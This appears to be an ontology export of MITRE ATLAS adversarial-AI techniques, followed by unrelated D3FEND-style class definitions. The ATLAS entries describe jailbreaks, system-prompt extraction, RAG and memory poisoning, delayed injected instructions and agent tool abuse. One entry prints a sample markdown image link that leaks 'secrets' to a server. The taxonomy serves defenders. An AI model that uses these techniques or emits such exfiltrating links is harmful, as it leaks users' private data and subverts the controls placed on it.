definition: Adversaries may use their access to an AI agent to invoke tools the agent has access to. LLMs are often connected to other services or resources via tools to increase their capabilities. Tools may include integrations with other applications, access to public or private data sources, and the ability to execute code. This may allow adversaries to execute API calls to integrated applications or services, providing the adversary with increased privileges on the system. Adversaries may take advantage of connected data sources to retrieve sensitive information. They may also use an LLM integrated with a command or script interpreter to execute arbitrary instructions. AI agents may be configured to have access to tools that are not directly accessible by users. Adversaries may abuse this to gain access to tools they otherwise wouldn't be able to use.
subclass of: ATLASExecutionTechnique
subclass of: Privilege Escalation Technique - ATLAS
preferred label: AI Agent Tool Invocation

LLM Jailbreak - ATLAS
type: Class
attack-id: AML.T0054
definition: An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to place LLM in a state in which it will freely respond to any user input, bypassing any controls, restrictions, or guardrails placed on the LLM. Once successfully jailbroken, the LLM can be used in unintended ways by the adversary.
subclass of: ATLASDefenseEvasionTechnique
subclass of: Privilege Escalation Technique - ATLAS
preferred label: LLM Jailbreak

Unsecured Credentials - ATLAS
type: Class
attack-id: AML.T0055
definition: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. bash history), environment variables, operating system, or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. private keys).
subclass of: ATLASCredentialAccessTechnique
preferred label: Unsecured Credentials

Extract LLM System Prompt - ATLAS
type: Class
attack-id: AML.T0056
definition: Adversaries may attempt to extract a large language model's (LLM) system prompt. This can be done via prompt injection to induce the model to reveal its own system prompt or may be extracted from a configuration file. System prompts can be a portion of an AI provider's competitive advantage and are thus valuable intellectual property that may be targeted by adversaries.
subclass of: ATLASExfiltrationTechnique
preferred label: Extract LLM System Prompt

LLM Data Leakage - ATLAS
type: Class
attack-id: AML.T0057
definition: Adversaries may craft prompts that induce the LLM to leak sensitive information. This can include private user data or proprietary information. The leaked information may come from proprietary training data, data sources the LLM is connected to, or information from other users of the LLM.
subclass of: ATLASExfiltrationTechnique
preferred label: LLM Data Leakage

Publish Poisoned Models - ATLAS
type: Class
attack-id: AML.T0058
definition: Adversaries may publish a poisoned model to a public location such as a model registry or code repository. The poisoned model may be a novel model or a poisoned variant of an existing open-source model. This model may be introduced to a victim system via [AI Supply Chain Compromise](/techniques/AML.T0010).
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Publish Poisoned Models

Erode Dataset Integrity - ATLAS
type: Class
attack-id: AML.T0059
definition: Adversaries may poison or manipulate portions of a dataset to reduce its usefulness, reduce trust, and cause users to waste resources correcting errors.
subclass of: ATLASImpactTechnique
preferred label: Erode Dataset Integrity

Publish Hallucinated Entities - ATLAS
type: Class
attack-id: AML.T0060
definition: Adversaries may create an entity they control, such as a software package, website, or email address to a source hallucinated by an LLM. The hallucinations may take the form of package names commands, URLs, company names, or email addresses that point the victim to the entity controlled by the adversary. When the victim interacts with the adversary-controlled entity, the attack can proceed.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Publish Hallucinated Entities

LLM Prompt Self-Replication - ATLAS
type: Class
attack-id: AML.T0061
definition: An adversary may use a carefully crafted [LLM Prompt Injection](/techniques/AML.T0051) designed to cause the LLM to replicate the prompt as part of its output. This allows the prompt to propagate to other LLMs and persist on the system. The self-replicating prompt is typically paired with other malicious instructions (ex: [LLM Jailbreak](/techniques/AML.T0054), [LLM Data Leakage](/techniques/AML.T0057)).
subclass of: ATLASPersistenceTechnique
preferred label: LLM Prompt Self-Replication

Discover LLM Hallucinations - ATLAS
type: Class
attack-id: AML.T0062
definition: Adversaries may prompt large language models and identify hallucinated entities. They may request software packages, commands, URLs, organization names, or e-mail addresses, and identify hallucinations with no connected real-world source. Discovered hallucinations provide the adversary with potential targets to [Publish Hallucinated Entities](/techniques/AML.T0060). Different LLMs have been shown to produce the same hallucinations, so the hallucinations exploited by an adversary may affect users of other LLMs.
subclass of: ATLASDiscoveryTechnique
preferred label: Discover LLM Hallucinations

Discover AI Model Outputs - ATLAS
type: Class
attack-id: AML.T0063
definition: Adversaries may discover model outputs, such as class scores, whose presence is not required for the system to function and are not intended for use by the end user. Model outputs may be found in logs or may be included in API responses. Model outputs may enable the adversary to identify weaknesses in the model and develop attacks.
subclass of: ATLASDiscoveryTechnique
preferred label: Discover AI Model Outputs

Gather RAG-Indexed Targets - ATLAS
type: Class
attack-id: AML.T0064
definition: Adversaries may identify data sources used in retrieval augmented generation (RAG) systems for targeting purposes. By pinpointing these sources, attackers can focus on poisoning or otherwise manipulating the external data repositories the AI relies on. RAG-indexed data may be identified in public documentation about the system, or by interacting with the system directly and observing any indications of or references to external data sources.
subclass of: ATLASReconnaissanceTechnique
preferred label: Gather RAG-Indexed Targets

LLM Prompt Crafting - ATLAS
type: Class
attack-id: AML.T0065
definition: Adversaries may use their acquired knowledge of the target generative AI system to craft prompts that bypass its defenses and allow malicious instructions to be executed. The adversary may iterate on the prompt to ensure that it works as-intended consistently.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: LLM Prompt Crafting

Retrieval Content Crafting - ATLAS
type: Class
attack-id: AML.T0066
definition: Adversaries may write content designed to be retrieved by user queries and influence a user of the system in some way. This abuses the trust the user has in the system. The crafted content can be combined with a prompt injection. It can also stand alone in a separate document or email. The adversary must get the crafted content into the victim\u0027s database, such as a vector database used in a retrieval augmented generation (RAG) system. This may be accomplished via cyber access, or by abusing the ingestion mechanisms common in RAG systems (see [RAG Poisoning](/techniques/AML.T0070)). Large language models may be used as an assistant to aid an adversary in crafting content.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Retrieval Content Crafting

Citations - ATLAS
type: Class
attack-id: AML.T0067.000
definition: Adversaries may manipulate the citations provided in an AI system's response, in order to make it appear trustworthy. Variants include citing a providing the wrong citation, making up a new citation, or providing the right citation but for adversary-provided data.
subclass of: LLM Trusted Output Components Manipulation - ATLAS
preferred label: Citations

LLM Prompt Obfuscation - ATLAS
type: Class
attack-id: AML.T0068
definition: Adversaries may hide or otherwise obfuscate prompt injections or retrieval content from the user to avoid detection. This may include modifying how the injection is rendered such as small text, text colored the same as the background, or hidden HTML elements.
subclass of: ATLASDefenseEvasionTechnique
preferred label: LLM Prompt Obfuscation

Special Character Sets - ATLAS
type: Class
attack-id: AML.T0069.000
definition: Adversaries may discover delimiters and special characters sets used by the large language model. For example, delimiters used in retrieval augmented generation applications to differentiate between context and user prompts. These can later be exploited to confuse or manipulate the large language model into misbehaving.
subclass of: AML.T0069
preferred label: Special Character Sets

System Instruction Keywords - ATLAS
type: Class
attack-id: AML.T0069.001
definition: Adversaries may discover keywords that have special meaning to the large language model (LLM), such as function names or object names. These can later be exploited to confuse or manipulate the LLM into misbehaving and to make calls to plugins the LLM has access to.
subclass of: AML.T0069
preferred label: System Instruction Keywords

System Prompt - ATLAS
type: Class
attack-id: AML.T0069.002
definition: Adversaries may discover a large language model's system instructions provided by the AI system builder to learn about the system's capabilities and circumvent its guardrails.
subclass of: AML.T0069
preferred label: System Prompt

RAG Poisoning - ATLAS
type: Class
attack-id: AML.T0070
definition: Adversaries may inject malicious content into data indexed by a retrieval augmented generation (RAG) system to contaminate a future thread through RAG-based search results. This may be accomplished by placing manipulated documents in a location the RAG indexes (see [Gather RAG-Indexed Targets](/techniques/AML.T0064)). The content may be targeted such that it would always surface as a search result for a specific user query. The adversary's content may include false or misleading information. It may also include prompt injections with malicious instructions, or false RAG entries.
subclass of: ATLASPersistenceTechnique
preferred label: RAG Poisoning

False RAG Entry Injection - ATLAS
type: Class
attack-id: AML.T0071
definition: Adversaries may introduce false entries into a victim's retrieval augmented generation (RAG) database. Content designed to be interpreted as a document by the large language model (LLM) used in the RAG system is included in a data source being ingested into the RAG database. When RAG entry including the false document is retrieved, the LLM is tricked into treating part of the retrieved content as a false RAG result. By including a false RAG document inside of a regular RAG entry, it bypasses data monitoring tools. It also prevents the document from being deleted directly. The adversary may use discovered system keywords to learn how to instruct a particular LLM to treat content as a RAG entry. They may be able to manipulate the injected entry's metadata including document title, author, and creation date.
subclass of: ATLASDefenseEvasionTechnique
preferred label: False RAG Entry Injection

Reverse Shell - ATLAS
type: Class
attack-id: AML.T0072
definition: Adversaries may utilize a reverse shell to communicate and control the victim system. Typically, a user uses a client to connect to a remote machine which is listening for connections. With a reverse shell, the adversary is listening for incoming connections initiated from the victim system.
subclass of: Command and Control Technique - ATLAS
preferred label: Reverse Shell

Impersonation - ATLAS
type: Class
attack-id: AML.T0073
definition: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing](/techniques/AML.T0052), or [Spearphishing via Social Engineering LLM](/techniques/AML.T0052.000)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims. Adversaries may target resources that are part of the AI DevOps lifecycle, such as model repositories, container registries, and software registries.
subclass of: ATLASDefenseEvasionTechnique
preferred label: Impersonation

Masquerading - ATLAS
type: Class
attack-id: AML.T0074
definition: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
subclass of: ATLASDefenseEvasionTechnique
preferred label: Masquerading

Cloud Service Discovery - ATLAS
type: Class
attack-id: AML.T0075
definition: An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs. Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.[1][2] For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.[3][4] Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable or Modify Cloud Logs.
subclass of: ATLASDiscoveryTechnique
preferred label: Cloud Service Discovery

Corrupt AI Model - ATLAS
type: Class
attack-id: AML.T0076
definition: An adversary may purposefully corrupt a malicious AI model file so that it cannot be successfully deserialized in order to evade detection by a model scanner. The corrupt model may still successfully execute malicious code before deserialization fails.
subclass of: ATLASDefenseEvasionTechnique
preferred label: Corrupt AI Model

LLM Response Rendering - ATLAS
type: Class
attack-id: AML.T0077
definition: An adversary may get a large language model (LLM) to respond with private information that is hidden from the user when the response is rendered by the user's client. The private information is then exfiltrated. This can take the form of rendered images, which automatically make a request to an adversary controlled server. The adversary gets AI to present an image to the user, which is rendered by the user's client application with no user clicks required. The image is hosted on an attacker-controlled website, allowing the adversary to exfiltrate data through image request parameters. Variants include HTML tags and markdown For example, an LLM may produce the following markdown: ``` ![ATLAS](https://atlas.mitre.org/image.png?secrets="private data") ``` Which is rendered by the client as: ``` ``` When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.
subclass of: ATLASExfiltrationTechnique
preferred label: LLM Response Rendering

Drive-by Compromise - ATLAS
type: Class
attack-id: AML.T0078
definition: Adversaries may gain access to an AI system through a user visiting a website over the normal course of browsing, or an AI agent retrieving information from the web on behalf of a user. Websites can contain an [LLM Prompt Injection](/techniques/AML.T0051) which, when executed, can change the behavior of the AI model. The same approach may be used to deliver other types of malicious code that don't target AI directly (See [Drive-by Compromise in ATT&CK](https://attack.mitre.org/techniques/T1189/)).
subclass of: ATLASInitialAccessTechnique
preferred label: Drive-by Compromise

Stage Capabilities - ATLAS
type: Class
attack-id: AML.T0079
definition: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](/techniques/AML.T0017)) or obtained ([Obtain Capabilities](/techniques/AML.T0016)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](/techniques/AML.T0008)) or was otherwise compromised by them. Capabilities may also be staged on web services, such as GitHub, model registries, such as Hugging Face, or container registries. Adversaries may stage a variety of AI Artifacts including poisoned datasets ([Publish Poisoned Datasets](/techniques/AML.T0019), malicious models ([Publish Poisoned Models](/techniques/AML.T0058), and prompt injections. They may target names of legitimate companies or products, engage in typosquatting, or use hallucinated entities ([Discover LLM Hallucinations](/techniques/AML.T0062)).
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Stage Capabilities

Memory - ATLAS
type: Class
attack-id: AML.T0080.000
definition: Adversaries may manipulate the memory of a large language model (LLM) in order to persist changes to the LLM to future chat sessions. Memory is a common feature in LLMs that allows them to remember information across chat sessions by utilizing a user-specific database. Because the memory is controlled via normal conversations with the user (e.g. "remember my preference for ...") an adversary can inject memories via Direct or Indirect Prompt Injection. Memories may contain malicious instructions (e.g. instructions that leak private conversations) or may promote the adversary's hidden agenda (e.g. manipulating the user).
subclass of: AI Agent Context Poisoning - ATLAS
preferred label: Memory

Thread - ATLAS
type: Class
attack-id: AML.T0080.001
definition: Adversaries may introduce malicious instructions into a chat thread of a large language model (LLM) to cause behavior changes which persist for the remainder of the thread. A chat thread may continue for an extended period over multiple sessions. The malicious instructions may be introduced via Direct or Indirect Prompt Injection. Direct Injection may occur in cases where the adversary has acquired a user's LLM API keys and can inject queries directly into any thread. As the token limits for LLMs rise, AI systems can make use of larger context windows which allow malicious instructions to persist longer in a thread. Thread Poisoning may affect multiple users if the LLM is being used in a service with shared threads. For example, if an agent is active in a Slack channel with multiple participants, a single malicious message from one user can influence the agent's behavior in future interactions with others.
subclass of: AI Agent Context Poisoning - ATLAS
preferred label: Thread

Modify AI Agent Configuration - ATLAS
type: Class
attack-id: AML.T0081
definition: Adversaries may modify the configuration files for AI agents on a system. This allows malicious changes to persist beyond the life of a single agent and affects any agents that share the configuration. Configuration changes may include modifications to the system prompt, tampering with or replacing knowledge sources, modification to settings of connected tools, and more. Through those changes, an attacker could redirect outputs or tools to malicious services, embed covert instructions that exfiltrate data, or weaken security controls that normally restrict agent behavior.
subclass of: ATLASPersistenceTechnique
preferred label: Modify AI Agent Configuration

RAG Credential Harvesting - ATLAS
type: Class
attack-id: AML.T0082
definition: Adversaries may attempt to use their access to a large language model (LLM) on the victim's system to collect credentials. Credentials may be stored in internal documents which can inadvertently be ingested into a RAG database, where they can ultimately be retrieved by an AI agent.
subclass of: ATLASCredentialAccessTechnique
preferred label: RAG Credential Harvesting

Credentials from AI Agent Configuration - ATLAS
type: Class
attack-id: AML.T0083
definition: Adversaries may access the credentials of other tools or services on a system from the configuration of an AI agent. AI Agents often utilize external tools or services to take actions, such as querying databases, invoking APIs, or interacting with cloud resources. To enable these functions, credentials like API keys, tokens, and connection strings are frequently stored in configuration files. While there are secure methods such as dedicated secret managers or encrypted vaults that can be deployed to store and manage these credentials, in practice they are often placed in less protected locations for convenience or ease of deployment. If an attacker can read or extract these configurations, they may obtain valid credentials that allow direct access to sensitive systems outside the agent itself.
subclass of: ATLASCredentialAccessTechnique
preferred label: Credentials from AI Agent Configuration

Embedded Knowledge - ATLAS
type: Class
attack-id: AML.T0084.000
definition: Adversaries may attempt to discover the data sources a particular agent can access. The AI agent's configuration may reveal data sources or knowledge. The embedded knowledge may include sensitive or proprietary material such as intellectual property, customer data, internal policies, or even credentials. By mapping what knowledge an agent has access to, an adversary can better understand the AI agent's role and potentially expose confidential information or pinpoint high-value targets for further exploitation.
subclass of: AML.T0084
preferred label: Embedded Knowledge

Tool Definitions - ATLAS
type: Class
attack-id: AML.T0084.001
definition: Adversaries may discover the tools the AI agent has access to. By identifying which tools are available, the adversary can understand what actions may be executed through the agent and what additional resources it can reach. This knowledge may reveal access to external data sources such as OneDrive or SharePoint, or expose exfiltration paths like the ability to send emails, helping adversaries identify AI agents that provide the greatest value or opportunity for attack.
subclass of: AML.T0084
preferred label: Tool Definitions

Activation Triggers - ATLAS
type: Class
attack-id: AML.T0084.002
definition: Adversaries may discover keywords or other triggers (such as incoming emails, documents being added, incoming message, or other workflows) that activate an agent and may cause it to run additional actions. Understanding these triggers can reveal how the AI agent is activated and controlled. This may also expose additional paths for compromise, as an adversary could attempt to trigger the agent from outside its environment and drive it to perform unintended or malicious actions.
subclass of: AML.T0084
preferred label: Activation Triggers

RAG Databases - ATLAS
type: Class
attack-id: AML.T0085.000
definition: Adversaries may prompt the AI service to retrieve data from a RAG database. This can include the majority of an organization's internal documents.
subclass of: Data from AI Services - ATLAS
preferred label: RAG Databases

AI Agent Tools - ATLAS
type: Class
attack-id: AML.T0085.001
definition: Adversaries may prompt the AI service to invoke various tools the agent has access to. Tools may retrieve data from different APIs or services in an organization.
subclass of: Data from AI Services - ATLAS
preferred label: AI Agent Tools

Exfiltration via AI Agent Tool Invocation - ATLAS
type: Class
attack-id: AML.T0086
definition: Adversaries may use prompts to invoke an agent's tool capable of performing write operations to exfiltrate data. Sensitive information can be encoded into the tool's input parameters and transmitted as part of a seemingly legitimate action. Variants include sending emails, creating or modifying documents, updating CRM records, or even generating media such as images or videos.
subclass of: ATLASExfiltrationTechnique
preferred label: Exfiltration via AI Agent Tool Invocation

Gather Victim Identity Information - ATLAS
type: Class
attack-id: AML.T0087
definition: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, photos, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation, [Search Victim-Owned Websites](/techniques/AML.T0003), or via leaked information on the black market. Adversaries may use the gathered victim data to Create Deepfakes and impersonate them in a convincing manner. This may create opportunities for adversaries to [Establish Accounts](/techniques/AML.T0021) under the impersonated identity, or allow them to perform convincing [Phishing](/techniques/AML.T0052) attacks.
subclass of: ATLASReconnaissanceTechnique
preferred label: Gather Victim Identity Information

Generate Deepfakes - ATLAS
type: Class
attack-id: AML.T0088
definition: Adversaries may use generative artificial intelligence (GenAI) to create synthetic media (i.e. imagery, video, audio, and text) that appear authentic. These "[deepfakes]( https://en.wikipedia.org/wiki/Deepfake)" may mimic a real person or depict fictional personas. Adversaries may use deepfakes for impersonation to conduct [Phishing](/techniques/AML.T0052) or to evade AI applications such as biometric identity verification systems (see [Evade AI Model](/techniques/AML.T0015)). Manipulation of media has been possible for a long time, however GenAI reduces the skill and level of effort required, allowing adversaries to rapidly scale operations to target more users or systems. It also makes real-time manipulations feasible. Adversaries may utilize open-source models and software that were designed for legitimate use cases to generate deepfakes for malicious use. However, there are some projects specifically tailored towards malicious use cases such as [ProKYC](https://www.catonetworks.com/blog/prokyc-selling-deepfake-tool-for-account-fraud-attacks/).
subclass of: ATLASAIAttackStagingTechnique
preferred label: Generate Deepfakes

Process Discovery - ATLAS
type: Class
attack-id: AML.T0089
definition: Adversaries may attempt to get information about processes running on a system. Once obtained, this information could be used to gain an understanding of common AI-related software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Identifying the AI software stack can then lead an adversary to new targets and attack pathways. AI-related software may require application tokens to authenticate with backend services. This provides opportunities for [Credential Access](/tactics/AML.TA0013) and [Lateral Movement](/tactics/AML.TA0015). In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or `Get-Process` via PowerShell. Information about processes can also be extracted from the output of Native API calls such as `CreateToolhelp32Snapshot`. In Mac and Linux, this is accomplished with the `ps` command. Adversaries may also opt to enumerate processes via `/proc`.
subclass of: ATLASDiscoveryTechnique
preferred label: Process Discovery

OS Credential Dumping - ATLAS
type: Class
attack-id: AML.T0090
definition: Adversaries may extract credentials from OS caches, application memory, or other sources on a compromised system. Credentials are often in the form of a hash or clear text, and can include usernames and passwords, application tokens, or other authentication keys. Credentials can be used to perform [Lateral Movement](/tactics/AML.TA0015) to access other AI services such as AI agents, LLMs, or AI inference APIs. Credentials could also give an adversary access to other software tools and data sources that are part of the AI DevOps lifecycle.
subclass of: ATLASCredentialAccessTechnique
preferred label: OS Credential Dumping

Application Access Token - ATLAS
type: Class
attack-id: AML.T0091.000
definition: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). They are commonly used for AI services such as chatbots, LLMs, and predictive inference APIs.
subclass of: Use Alternate Authentication Material - ATLAS
preferred label: Application Access Token

Manipulate User LLM Chat History - ATLAS
type: Class
attack-id: AML.T0092
definition: Adversaries may manipulate a user's large language model (LLM) chat history to cover the tracks of their malicious behavior. They may hide persistent changes they have made to the LLM's behavior, or obscure their attempts at discovering private information about the user. To do so, adversaries may delete or edit existing messages or create new threads as part of their coverup. This is feasible if the adversary has the victim's authentication tokens for the backend LLM service or if they have direct access to the victim's chat interface. Chat interfaces (especially desktop interfaces) often do not show the injected prompt for any ongoing chat, as they update chat history only once when initially opening it. This can help the adversary's manipulations go unnoticed by the victim.
subclass of: ATLASDefenseEvasionTechnique
preferred label: Manipulate User LLM Chat History

Prompt Infiltration via Public-Facing Application - ATLAS
type: Class
attack-id: AML.T0093
definition: An adversary may introduce malicious prompts into the victim's system via a public-facing application with the intention of it being ingested by an AI at some point in the future and ultimately having a downstream effect. This may occur when a data source is indexed by a retrieval augmented generation (RAG) system, when a rule triggers an action by an AI agent, or when a user utilizes a large language model (LLM) to interact with the malicious content. The malicious prompts may persist on the victim system for an extended period and could affect multiple users and various AI tools within the victim organization. Any public-facing application that accepts text input could be a target. This includes email, shared document systems like OneDrive or Google Drive, and service desks or ticketing systems like Jira. Adversaries may perform [Reconnaissance](/tactics/AML.TA0002) to identify public facing applications that are likely monitored by an AI agent or are likely to be indexed by a RAG. They may perform [Discover AI Agent Configuration](/techniques/AML.T0084) to refine their targeting.
subclass of: ATLASInitialAccessTechnique
subclass of: ATLASPersistenceTechnique
preferred label: Prompt Infiltration via Public-Facing Application

Delay Execution of LLM Instructions - ATLAS
type: Class
attack-id: AML.T0094
definition: Adversaries may include instructions to be followed by the AI system in response to a future event, such as a specific keyword or the next interaction, in order to evade detection or bypass controls placed on the AI system. For example, an adversary may include "If the user submits a new request..." followed by the malicious instructions as part of their prompt. AI agents can include security measures against prompt injections that prevent the invocation of particular tools or access to certain data sources during a conversation turn that has untrusted data in context. Delaying the execution of instructions to a future interaction or keyword is one way adversaries may bypass this type of control.
subclass of: ATLASDefenseEvasionTechnique
preferred label: Delay Execution of LLM Instructions

Search Open Websites/Domains - ATLAS
type: Class
attack-id: AML.T0095
definition: Adversaries may search public websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or domains owned by the victim. Adversaries may find the information they seek to gather via search engines. They can use precise search queries to identify software platforms or services used by the victim to use in targeting. This may be followed by [Exploit Public-Facing Application](/techniques/AML.T0049) or [Prompt Infiltration via Public-Facing Application](/techniques/AML.T0093).
subclass of: ATLASReconnaissanceTechnique
preferred label: Search Open Websites/Domains

ARIMA Model
type: Class
type: NamedIndividual
d3fend-id: D3A-AM
definition: An autoregressive integrated moving average (ARIMA) model is a generalization of an autoregressive moving average (ARMA) model.
kb-article: ## References Wikipedia. (n.d.). Autoregressive integrated moving average. [Link](https://en.wikipedia.org/wiki/Autoregressive_integrated_moving_average)
synonym: Autoregressive Integrated Moving Average Model
subclass of: TimeSeriesAnalysis

ARM32 Code Segment
type: ImageCodeSegment
type: ProcessCodeSegment
type: NamedIndividual

ARMA Model
type: TimeSeriesAnalysis
type: Class
type: NamedIndividual
d3fend-id: D3-ARMA
definition: Autoregressive-moving-average (ARMA) models provide a parsimonious description of a (weakly) stationary stochastic process in terms of two polynomials, one for the autoregression (AR) and the second for the moving average (MA).
kb-article: ## References Wikipedia. (n.d.). Autoregressive-moving-average model. [Link](https://en.wikipedia.org/wiki/Autoregressive%E2%80%93moving-average_model)
synonym: Autoregressive moving average model
subclass of: TimeSeriesAnalysis

ASCII Domain Name
type: DomainName
type: NamedIndividual

ATTACK Merged Thing
type: Class
subclass of: ATTACKThing

Access Denied Event
type: Class
definition: An event indicating the refusal of access to a resource, where an access request has been evaluated and denied based on current authorization policies, preventing operations by the requesting agent.
subclass of: Access Mediation Event

Access Granted Event
type: Class
definition: An event signifying that access to a resource has been authorized and successfully enforced, allowing the requesting agent to perform specified operations based on the access control policies.
subclass of: Access Mediation Event

Activity Dependency
type: Class
definition: An activity dependency is a dependency that indicates an activity has an activity or agent which relies on it in order to be functional.
subclass of: Dependency

Actor-Critic
type: Class
type: NamedIndividual
d3fend-id: D3A-AC
definition: Actor-Critic is a Temporal Difference(TD) version of Policy gradient. It has two networks: Actor and Critic. The actor decided which action should be taken and critic inform the actor how good was the action and how it should adjust. The learning of the actor is based on policy gradient approach. In comparison, critics evaluate the action produced by the actor by computing the value function.
kb-article: ## References The Actor-Critic Reinforcement Learning Algorithm. Medium. [Link](https://medium.com/intro-to-artificial-intelligence/the-actor-critic-reinforcement-learning-algorithm-c8095a655c14).
subclass of: Policy Gradient
subclass of: Temporal Difference Learning

Adaptive Resonance Theory Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-ARTC
definition: Adaptive Resonance Theory (ART) Clustering is a neural network algorithm used for clustering data and is open to new learning(i.e. adaptive) without discarding the previous or the old information(i.e. resonance).
kb-article: ## References GeeksforGeeks. (n.d.). Adaptive Resonance Theory (ART). [Link](https://www.geeksforgeeks.org/adaptive-resonance-theory-art/)
subclass of: ANN-basedClustering

Adobe PDF File 1.3
type: DocumentFile
type: NamedIndividual
may-contain: Javascript File

Agglomerative Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-AC
definition: Agglomerative Clustering is a type of hierarchical clustering method where data points are grouped together based on similarity. Initially, each data point is treated as an individual cluster, and then in successive iterations, the closest clusters are merged until only one large cluster remains or until a specified stopping criterion is met.
kb-article: ## How it works Agglomerative clustering starts with each data point as its own cluster. The algorithm then iterates, identifying the two clusters that are closest to each other based on a defined distance metric (e.g., Euclidean, Manhattan). These two clusters are then merged into a single cluster. This process continues iteratively, merging the closest pairs of clusters in each step until all data points are merged into a single cluster or until other stopping criteria are achieved. A dendrogram, which is a tree-like diagram, can be used to represent the sequence of merges, providing a visual representation of the hierarchical structure of data. ## Considerations - **Choice of Distance Metric**: The outcome can vary significantly depending on the chosen distance metric (e.g., Euclidean, Manhattan). - **Scalability**: Agglomerative clustering can be computationally intensive for large datasets. - **Sensitivity**: The method can be sensitive to outliers, which might affect the quality of the clusters formed. ## Key Test Considerations - **Unsupervised Learning**: - **Number of Clusters**: Determine an optimal number of clusters using the dendrogram and techniques like the elbow method. - **Cluster Analysis**: - **Silhouette Score**: Evaluates how similar an object is to its own cluster compared to other clusters. A higher silhouette score indicates that the object is well matched to its own cluster and poorly matched to neighboring clusters. - **Dunn Index**: Measures the ratio between the smallest distance between observations not in the same cluster to the largest intra-cluster distance. - **Hierarchical Clustering**: - **Cophenetic Correlation Coefficient**: Measures the correlation between the distances of points in feature space and their distances on the dendrogram. Helps assess the fidelity of the dendrogram in preserving pairwise distances between samples. - **Agglomerative Clustering**: - **Linkage Criteria**: Test different linkage criteria (e.g., single, …
subclass of: HierarchicalClustering

Alethic Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-AL
definition: Alethic logic is a modal logic that addresses the modalities of necessity and possibility.
kb-article: ## References 1. Alethic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Alethic_logic)
subclass of: ModalLogic

Alias
type: Class
definition: In macOS, an alias is a small file that represents another object in a local, remote, or removable[1] file system and provides a dynamic link to it; the target object may be moved or renamed, and the alias will still link to it (unless the original file is recreated; such an alias is ambiguous and how it is resolved depends on the version of macOS).
subclass of: SlowSymbolicLink

Anonymous Pipe
type: Class
definition: In computer science, an anonymous pipe is a simplex FIFO communication channel that may be used for one-way interprocess communication (IPC). An implementation is often integrated into the operating system's file IO subsystem. Typically a parent program opens anonymous pipes, and creates a new process that inherits the other ends of the pipes, or creates several new processes and arranges them in a pipeline.
subclass of: Pipe

Answer Set Programming
type: Class
type: NamedIndividual
d3fend-id: D3A-ASP
definition: Answer set programming is a form of declarative programming based on the stable model (answer set) semantics of logic programming.
kb-article: ## How it works Answer set programming (ASP) is oriented towards difficult (primarily NP-hard) search problems. The computational process employed in the design of many answer set solvers is an enhancement of the DPLL algorithm and, in principle, it always terminates (unlike Prolog query evaluation, which may lead to an infinite loop). In a more general sense, ASP includes all applications of answer sets to knowledge representation and the use of Prolog-style query evaluation for solving problems arising in these applications. ## References 1. Answer set programming. (2023, April 27). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Answer_set_programming)
synonym: ASP
subclass of: LogicProgramming

Application Configuration Modification Event
type: Class
definition: An event in which the configuration of a specific software application is changed, affecting how that application executes, interacts with other components, or exposes functionality to users or services.
subclass of: Restriction
  on property: precedes
  some values from: Application Update Event
subclass of: Restriction
  on property: has-participant
  some values from: ApplicationConfiguration
subclass of: ConfigurationModificationEvent

Application Inventory Sensor
type: Class
type: NamedIndividual
definition: Collects information on applications on an endpoint.
monitors: Application
subclass of: Restriction
  on property: monitors
  some values from: Application
subclass of: EndpointSensor

Application Layer Link
type: Class
definition: An Application Layer Link is a type of logical link that exists at the application layer of a network or system architecture.
subclass of: LogicalLink

Application Process Configuration
type: Class
definition: The current configuration of an application process, stored in memory. It may have been sourced from other types of application configurations, e.g. Application Configuration Files or Application Configuration Database Records.
subclass of: ApplicationConfiguration

